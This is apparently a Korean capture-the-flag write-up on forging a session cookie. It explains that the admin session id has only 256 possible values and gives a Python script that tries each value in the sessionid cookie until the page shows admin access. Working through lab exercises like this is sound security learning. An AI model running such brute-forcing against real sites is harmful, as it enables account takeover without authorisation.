문제
Session 값 위조
  - session 값을 admin 아이디가 저장된 세션 값으로 바꿔주면 된다.
 
코드 분석
  - admin 계정의 session id 값의 범위는 00 ~ FF 인 것을 확인할 수 있다.
 
session_storage[os.urandom(1).hex()] = 'admin'
 
공격 Payload
  - 만들어 질 수 있는 모든 session id 값을 쿠키에 넣어주면 된다.
 
  - 00 ~ FF 를 모두 sessionid 쿠키 값에 넣어주면서 admin 에 해당하는 session id 값을 찾아주면 된다.
 
import requests
URL = "공격 주소"
COOKIE = {"sessionid":""}
def request()->str:
    res = requests.get(url=URL,cookies=COOKIE)
    return res.text
def find_sessionid():
    for i in range(0,256):
        # print(str(hex(i)).replace('0x','').zfill(2))
        COOKIE["sessionid"]=str(hex(i)).replace('0x','').zfill(2)
        t = request()
        print(i)
        if 'admin' in t.lower():
            print(str(hex(i)).replace('0x','').zfill(2))
            break
    return
def main():
    # request()
    find_sessionid()
    return
if __name__ == "__main__":
    main()
 
        
      
      
      
      
  
     
    
      
    
  
댓글남기기